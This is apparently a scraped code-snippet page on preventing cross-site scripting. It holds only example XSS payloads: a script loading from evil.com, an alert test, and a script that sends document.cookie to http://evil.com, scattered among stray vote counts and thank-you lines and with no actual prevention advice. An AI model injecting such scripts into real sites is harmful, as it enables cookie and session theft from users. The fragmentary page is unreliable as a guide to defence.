how to prevent cross site scripting to redirect you to another web page
<!-- External script -->
<script src=http://evil.com/xss.js></script>
<!-- Embedded script -->
<script> alert("XSS"); </script>
0
0
<html>
<h1>Most recent comment</h1>
<script>doSomethingEvil();</script>
</html>
Thank you!
0
0
0
0
<script>
window.location="http://evil.com/?cookie=" + document.cookie
</script>
Thank you!
0
0
Are there any code examples left?
New code examples in category Other